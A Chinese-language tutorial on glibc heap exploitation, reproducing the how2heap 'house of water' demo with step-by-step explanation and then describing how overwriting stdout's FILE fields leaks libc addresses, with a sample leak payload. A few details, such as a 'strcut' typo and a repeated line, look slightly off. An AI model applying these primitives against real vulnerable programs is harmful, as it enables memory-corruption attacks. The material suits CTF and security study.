house of water 和 stdout 输出

house of water

发现了一个很神奇的堆打法,可以做到无读写在 tcachebin 上踩至少一个 glibc 地址出来,非常好用

使用条件

  • uaf
  • 任意大小堆块分配

原理

  • 如果程序运行到第一个 malloc,会初始化 main_arena,并且在 2.31 之后的版本,会分配 0x290 大小的结构体存储 tcachebin 的内容,该结构体如下:
typedef strcut tcache_perthread_struct{
    uint16_t counts[TCACHE_MAX_BINS];
    tcache_entry *entries[TCACHE_MAX_BINS];
}tcache_perthread_struct;
C
  • 而 house of water 的做法就是在这个上面留下 libc 地址,从而可以直接在 tcachebin 中取出,导致在 libc 上分配堆

how2heap 中的 house of water demo:

#include<stdio.h>
#include<stdlib.h>
#include<assert.h>

int main(){
    void *_ = NULL;
    
    setbuf(stdin,NULL);
    setbuf(stdout,NULL);
    setbuf(stderr,NULL);
    
    void *fake_size_lsb = malloc(0x3d8);
    void *fake_size_msb = malloc(0x3e8);
    free(fake_size_lsb);
    free(fake_size_msb);
    
    void *metadata = (void *)((long) (fake_size_lsb & -(0xfff)));
    
    void *x[7];
    for(int i = 0 ; i < 7 ; i ++){
        x[i] = malloc(0x88);
    }
    
    void *unsorted_start = malloc(0x88);
    _ = malloc(0x18);
    
    void *unsorted_middle = malloc(0x88);
    _ = malloc(0x18);
    
    void *unsorted_end = malloc(0x88);
    _ = malloc(0x18);
    
    _ = malloc(0xf000);
    
    void *end_of_fake = malloc(0x18);
    *(long *)end_of_fake = 0x10000;
    *(long *)(end_of_fake + 0x8) = 0x20;
    
    for(int i = 0 ; i < 7 ; i ++){
        free(x[i]);
    }
    
    *(long *)(unsorted_start - 0x18) = 0x31;
    free(unsorted_start - 0x10);
    *(long *)(unsorted_start - 0x8) = 0x91;
    
    *(long *)(unsorted_end - 0x18) = 0x21;
    free(unsorted_end - 0x10);
    *(long *)(unsorted_start - 0x8) = 0x91;
    
    free(unsorted_end);
    free(unsorted_middle);
    free(unsorted_start);
    
    *(unsigned long *)unsorted_start = (unsigned long)(metadata+0x80);
    *(unsigned long *)(unsorted_end+0x8) = (unsigned long)(metadata+0x80);
    
    //now this can be the fake chunk
    void *meta_chunk = malloc(0x288);
    
    assert(meta_chunk == (metadata+0x90));
}
C

原理

  1. 释放的 0x3e0 和 0x3f0 两个堆块是为了构造一个 0x10001 这样的大小块,这是因为 tcache_perthread_struct 第一个值会标记每个 tcachebin 内的堆块数量,这样就构造出了一个 size 样式的东西,方便我们进行 fake chunk 的创建。
  2. 19-22 行:创建 7 个 chunk,很明显是为了填满 tcachebin
  3. 24-33 行:间隔创建三个 chunk,并且增加间隔防止合并,这三个 chunk 全部在 unsortedbin 的位置。然后创建了一个巨大的 0xf000 的 chunk,用来填充到 0x10001,目的是为了让最开始讲的 tcache_perthread_struct 那个 0x10001 作为 size 是合法的。
  4. 35-37 行:创建 0x20 大小的 chunk,并且伪造 prev_size 和下一个 chunk 的 size:0x20;
  5. 39-41 行:填满 tcachebin
  6. 43-45 行:在 unsorted_start 的上面设置了一个 0x31 的堆块并且释放,释放掉之后由于进入 tcachebin 会加入一个验证的 key,这个 key 会覆盖掉原本 unsorted_start 的 size,所以得还原。
  7. 47-49 行:同理
  8. 在刚刚两个步骤下,我们可以知道在 tcache_perthread_struct 中,0x20 大小的会在 tcachebin 的第一个位置,而 0x30 大小的会在 tcachebin 的第二个位置,于是就造成了 0x10001 这个值下面刚好是这么两个地址,这样的话,也就是说假设 0x10001 进入 bin,那么它的 fd 指针将指向 unsorted_end,而 bk 指针将指向 unsorted_start
  9. 51-53 行:释放了三个 chunk,他们仨会进 unsorted bin,这里 unsorted bin 里会变成:unsorted_start->unsorted_middle->unsorted_end
  10. 55-56 行:这一步是将之前讲到的 0x10001 这个堆块链接上去,替换掉 unsorted_middle。,可以看到将 unsorted_start 的 fd 指针变成了 fake_chunk,unsorted_end 的 bk 指针也变成了 fake_chunk,而刚刚提到了,fake_chunk 的 fd 指针是 unsorted_end,bk 指针是 unsorted_start,和 unsorted_middle 是一样的,所以完全可以过 unsorted bin 检测。在这一步之后,unsorted bin 变成了 unsorted_start->fake_chunk_unsorted_end。很明显,如果这时候我们对 fake_chunk 里面踩一个 libc 地址,它会默认跑到 tcachebin 中去。
  11. 59 行:这一步的想法是进行切割,如果 unsorted bin 里面没有合适大小的块,则它会按顺序分配到 smallbin 或者 largebin 中,然后再进行切割,很明显这里会把 unsorted_start 和 unsorted_end 放入 small bin,而 fake chunk 进入 large bin。所以只要选择一个小于 0x10000 的块,这样在放入各自的 bin 之后,由于只有 fake chunk 进入了 large bin,它一定会在某两个位置出现 libc 地址,而这两个位置会变成 tcache bin 的两个。在此之后,如果申请相应大小的 tcache bin 的 chunk,则会在 libc 上建立相应的堆块。

house of water 一般会紧接着攻击 stdout,从而泄露 libc 地址,来进行下一步攻击

stdout 的攻击

stdout 是个 IO_FILE,其结构体如下:

struct IO_FILE{
    int _flags;
    char *_IO_read_ptr;
    char *_IO_read_end;
    char *_IO_read_base;
    char *_IO_write_base;  //  本质上是通过修改这个结构体泄露
    char *_IO_write_ptr;   //  这两个指针地址之间的内容
    char *_IO_write_end;
    char *_IO_buf_base;
    char *_IO_buf_end;
    char *_IO_save_base;
    char *_IO_backup_base;
    char *_IO_save_end;
    struct _IO_marker *_markers;
    struct _IO_FILE *_chain;
    int _fileno;
    int _flags2;
    __off_t _old_offset;
    unsigned short _cur_column;
    signed char _vtable_offset;
    char _shortbuf[1];
    _IO_lock_t *_lock;
    __off64_t _offset;
    struct _IO_codecvt *_codecvt;
    struct _IO_wide_data *_wide_data;
    struct _IO_FILE *_freeres_list;
    void *_freeres_buf;
    size_t __pad5;
    int _mode;
    char _unused2[20];
    
}
C

定义:

#define _IO_MAGIC 0xFBAD0000 
#define _OLD_STDIO_MAGIC 0xFABC0000 
#define _IO_MAGIC_MASK 0xFFFF0000
#define _IO_USER_BUF 1 
#define _IO_UNBUFFERED 2
#define _IO_NO_READS 4 
#define _IO_NO_WRITES 8 
#define _IO_EOF_SEEN 0x10
#define _IO_ERR_SEEN 0x20
#define _IO_DELETE_DONT_CLOSE 0x40 
#define _IO_LINKED 0x80 
#define _IO_IN_BACKUP 0x100
#define _IO_LINE_BUF 0x200
#define _IO_TIED_PUT_GET 0x400 
#define _IO_CURRENTLY_PUTTING 0x800
#define _IO_IS_APPENDING 0x1000
#define _IO_IS_FILEBUF 0x2000
#define _IO_BAD_SEEN 0x4000
#define _IO_USER_LOCK 0x8000
C

其中 _IO_2_1_stdout__flags 是这样的:_IO_MAGIC|_IO_IS_FILEBUF|_IO_CURRENTLY_PUTTING|_IO_LINKED|_IO_NO_READS | _IO_UNBUFFERED |_IO_USER_BUF

我们在使用的时候,可以将 _flags 调成 0xfbda18**,从上面可以找到含义,然后将 _IO_write_base 改成想要泄露的位置,再将 _IO_write_ptr 改为结束位置,就可以在下一次调用 puts 或者 printf 的时候泄露出来想要的东西了。

一般如果想要泄露 libc 的话 payload 会写 p64(0xfbad1800)+p64(0x0)*3+'\x00'

这个也可以用 fastbin attack 来做,因为 stdout 的上面是 stderr,里面会有 0x7f。